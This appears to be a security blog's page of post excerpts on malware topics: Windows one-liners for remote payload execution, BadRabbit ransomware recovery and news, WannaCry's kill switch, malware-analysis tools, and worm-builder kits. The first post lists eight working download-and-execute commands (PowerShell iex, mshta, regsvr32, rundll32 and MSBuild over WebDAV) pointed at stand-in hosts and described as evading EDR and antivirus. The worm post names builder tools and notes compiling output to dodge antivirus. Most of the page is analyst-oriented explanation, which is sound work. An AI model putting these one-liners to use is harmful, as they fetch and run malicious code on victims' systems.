How a malware can download a remote payload and execute malicious code…in one line?

This post on arno0x0x‘s blog is awesome: an accurate analysis of some ‘one-line commands’ that can be used on a windows system in order to download a malicious payload and execute it.

The examples are developed using several script languages, it works in memory with a minimal disk footprint and are “proxy aware”, so can be executed also from a corporate network.

Priceless informations for any malware analyst!


  • allow for execution of arbitrary code – because spawning calc.exe is cool, but has its limits huh ?
  • allow for downloading its payload from a remote server – because your super malware/RAT/agent will probably not fit into a single command line, does it ?
  • be proxy aware – because which company doesn’t use a web proxy for outgoing traffic nowadays ?
  • make use of as standard and widely deployed Microsoft binaries as possible – because you want this command line to execute on as much systems as possible
  • be EDR friendly – oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?
  • work in memory only – because your final payload might get caught by AV when written on disk



powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

Process performing network call: powershell.exe
Payload written on disk: NO


cmd.exe /k < \\webdavserver\folder\batchfile.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


cscript //E:jscript \\webdavserver\folder\payload.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Process performing network call: mshta.exe
Payload written on disk: IE local cache


rundll32 \\webdavserver\folder\payload.dll,entrypoint

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache


regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: regsvr32.exe
Payload written on disk: IE local cache


cmd /V/c"set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

For more information and examples, plese refer to arno0x0x‘a article:

Windows oneliners to download remote payload and execute arbitrary code

How to recover files encrypted by BadRabbit ransomware?

Researchers at Kaspersky Lab has discovered that some victims may be able to recover their files without paying any ransom.


The discovery was made by that analyzed the encryption functionality implemented by the ransomware: the Bad Rabbit leverages the open source library DiskCryptor in order to encrypt the user files, but uses the same screen to allows victims who have received the decryption key to enter it and boot their system.

Kaspersky’s researchers discovered that after the ransomware create the decryption key, this isn’t wiped from memory.

The symmetric encryption keys are securely generated on the ransomware side which makes attempts to guess the keys unfeasible in practice.

However, we found a flaw in the code of dispci.exe:

the malware doesn’t wipe the generated password from the memory, which means that there is a slim chance to extract it before the dispci.exe process terminates.

Unfortunately, there is only a “slim chance” that victims will be able to extract the password.
However, Bad Rabbit does not delete shadow copies, allowing victims to restore the files through this windows backup functionality:

We have discovered that Bad Rabbit does not delete shadow copies after encrypting the victim’s files. It means that if the shadow copies had been enabled prior to infection and if the full disk encryption did not occur for some reason, then the victim can restore the original versions of the encrypted files by the means of the standard Windows mechanism or 3rd-party utilities.

More information on

Bad Rabbit ransomware


BadRabbit ransomware: suggested readings

Spreads via network, currently hits Russia, Ukraine, Germany, Japan, and Turkey


A variant of Petya/NotPetya/EternalPetya called BadRabbit and probably prepared by the same authors has infected several big Russian media outlets.

BadRabbit uses SMB to propagate laterally with a hardcoded list of usernames and passwords.

However, unlike NotPetya, it doesn’t use EternalBlue.

Below some suggested readings regarding this threat:

A wave of ransomware infections is hitting hundreds of government, media, transportation, and other targets in Eastern Europe today mainly in Russia and Ukraine, but also in Bulgaria, Germany, and Turkey.

Among the most high-profile targets thus far are major news outlets such as Russia’s Interfax Agency, and Ukraine’s Kiev Metro, its Odessa International Airport, and ministries of infrastructure and finance.—and-beyond/d/d-id/1330208

US-CERT discourages individuals and organizations from paying the ransom, as this does not guarantee that access will be restored. Using unpatched and unsupported software may increase the risk of proliferation of cybersecurity threats, such as ransomware.—and-beyond/d/d-id/1330208

ESET discovered that in the case of the Kiev Metro, the malware used for the cyberattack was Diskcoder.D, — a new variant of ransomware known also as Petya.—and-beyond/d/d-id/1330208

BadRabbit was first spotted attacking Russian media outlets on Tuesday, including the news agency Interfax, according to security firm Group-IB, which posted a screenshot of the ransom screen. Other security firms have followed with their own early research and detections, with the consensus being that the malware is a variant of the Petya ransomware.

The attackers are demanding 0.05 bitcoin as ransom — or about $280 at the going exchange rate.—and-beyond/d/d-id/1330208

According to our findings, the attack doesn’t use exploits. It is a drive-by attack: Victims download a fake Adobe Flash installer from infected websites and manually launch the .exe file, thus infecting themselves.—and-beyond/d/d-id/1330208

Countries we know to be impacted so far are Russia, Ukraine, Turkey, Bulgaria, and Germany, with attacks centered on targets as wide-ranging as infrastructure, transportation, and media outlets.

The dropper is an executable that pretends to be a Flash update. The malware must run with Administration privileges, but no UAC bypass technique has been deployed — it relies purely on social engineering, trying to convince the user to elevate it.—and-beyond/d/d-id/1330208—and-beyond/d/d-id/1330208

If Bad Rabbit infects your computer, it attempts to spread across the network using a list of usernames and passwords buried inside the malware.

These credentials include passwords straight out of a worst passwords list.—and-beyond/d/d-id/1330208

It seems to be delivered via malicious URL as fake flash update:


Russian business newswire Interfax suffered a hacker attack that made part of its services unavailable to subscribers, according to a statement Tuesday.—and-beyond/d/d-id/1330208

The virus like Petya.A, which hit computers around the world in late June, today, October 24, infected computers of the Kyiv Metro, a source told Front News International.—and-beyond/d/d-id/1330208

A new massive ransomware campaign is rapidly spreading around Europe, the malware dubbed Bad Rabbit has already affected over 200 major organizations mainly in Russia, Ukraine, Germany, Japan, and Turkey in a few hours.—and-beyond/d/d-id/1330208

Infected computers display a screen informing users that their files have been encrypted and instructing them to access a website over the Tor anonymity network.

The Tor site tells victims to pay 0.05 bitcoin, worth roughly $283, to obtain the key needed to recover the encrypted files.—and-beyond/d/d-id/1330208

Bad Rabbit ransomware uses DiskCryptor, an open source full drive encryption software, to encrypt files on infected computers with RSA 2048 keys.—and-beyond/d/d-id/1330208

The infpub.dat file prominent in today’s attack will also install another malicious executable called dispci.exe.

It creates tasks in the registry to launch the executable; the tasks are named after the dragons in Game of Thrones: Viserion, Drogon and Rhaegal.

There’s also a reference to a Game of Thrones character GrayWorm in the code.—and-beyond/d/d-id/1330208

Initial reports peg the main casualties as transport systems and media outlets in Ukraine and Russia. The Ukranian arm of CERT (CERT-UA) has also issued an advisory warning of further potential ransomware attacks.—and-beyond/d/d-id/1330208





IlluminateJs: a good Javascript Deobfuscator

Useful during analysis of malicious sites

Yesterday in my twitter stream i’ve seen this tweet by Florian Roth:

During the analysis of a malicious site, one of the first step is the deobfuscation of the suspicious javascript.

There are a lot of tools (online or standalone) that can help the analyst during this step, but IlluminateJs from my point orf view is one of the most complete and accurate.

Consider it like JSDetox, but on steroids.

IlluminateJs core is a Babel compiler plugin and it works entirely in your browser, no server interaction is needed to perform deobfuscation.


  • Extended constant propagation
  • Array mutators tracking
  • Mixed-type expressions evaluation
  • Support modern JavaScript (ES6)
  • Function calls evaluation
  • Built-in function evaluation
  • Loops evaluation
  • Procedure inlining


Fileless Malware for Dummies

Just some random thoughts about this kind of threat

Some days ago, a non-technical friend asked me some informations about ‘fileless malware’.

Has been pretty difficult to explain this concept to a person lacking a correct security knowledge, so i have make a recap of this talk in a brief article “4Dummies”.


Python for malware analysis

Six Python tools useful for identify and analyse malware

Python is a very used scripting language in the field of computer forensics and malware analysis.

Today, we look at some of the tools developed in this scripting language that are useful in the analysis of malicious programs.


A command line tool to analyse malware, developed by Joxean Koret.
It does have support for hexadecimal viewing and disassembly PE and ELF file formats , follows direct call/jmp instructions in the interactive command line, displays function names and string data references.
It also supports plugins to add more features.


Open-source tool and python framework to filter file formats in e-mails, web pages or files.
Detects many common file formats and can remove active content.


A generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities.


A library that allows using YARA in Python programs.
It covers all YARA’s features, from compiling, saving and loading rules to scanning files, strings and processes.


A ‘pure python’ honeyclient implementation that allows to give insights into malicious web sites, including the exploits on the page and their consequences.


A python interface to Clamd (ClamAV antivirus daemon) useful to add virus detection capabilities to python software.

The software is currently developed and maintained by Alexandre Norman.

Yes, a security researcher saved the world by mistake!

Spread of Wannacry Ransomware has been slowed simply registering a domain name

In these hours everyone is writing something about Wannacry ransomware, often even providing discordant or misleading information.

So if you want more information about the infection, take a look at the links in the ‘References’ section at the bottom of the article, while now I want to tell you the story of the researcher who unknowingly saved the world from a poor quality ransomware and by the same users that not install the security patches on their systems.

Once executed, the WannaCry ransomware does not infect system immediately: reverse engineers found that the dropper first tries to connect a domain, which was initially unregistered:


If the connection to the above-mentioned domain fails, the dropper proceeds to infect the system and starts encrypting files.

However, if the connection is successful, the dropper does not infect the system with the WannaCry ransomware module: the real purpose of this switch is actually unknown.

Suddenly, an unaware hero comes up to the stage!

A security researcher, tweeting as MalwareTech, registered the strange domain by spending just £10 and accidentally triggering the “kill switch” that can prevent the spread of the WannaCry ransomware, at least for now:

Obviously, the response by the cybersecurity community has been enthusiastic:

Good job, MalwareTech!


Build your own Windows worm in minutes

Really simple-to-use tools, available to everyone!

In this brief video (3′ 14’’), from O’Reilly website, Chad Russell constructs a simple computer worm using one of the well known tools for malware building, “Internet Worm Maker Thing”.

Internet Worm Maker Thing is a free tool by which wich can make many kinds of malware and worms with the ability of infect victim’s drives, files, shows message, disable anti-virus software and much more.

The VBS script can be compiled into executable in order to elude antivirus.

Frightened? Consider that there are a lot of similar tools, for example:

DelMe Virus Maker

DelMe Virus Maker has more features than Internet Worm Maker Thing and a more simple UX.
The generated malware can be saved in VBS format (and after compiled with other tools).

JPS Virus Maker

Similar to previous tools, but with some additional ‘offensive’ features.

And this tools are freely available on internet, with just a simple search on google: any script kiddie (or angry employee) can download one of this application and turn into a threat.

So, update you antivirus/antimalware, always!


Chad Russell

Chad Russell is a cyber security veteran of 15 years who has held CISSP, CCNP, MCSE, and MCDBA certifications. Chad has taught Microsoft Engineering courses as a certified trainer, and has acted as a security engineering consultant for companies such as SAP, Microsoft, and Oracle. Currently, Chad conducts security risk assessments for companies throughout North America with an emphasis on cloud security, identity governances, network security, social engineering, mobile security, breach assessments, database security, and access management.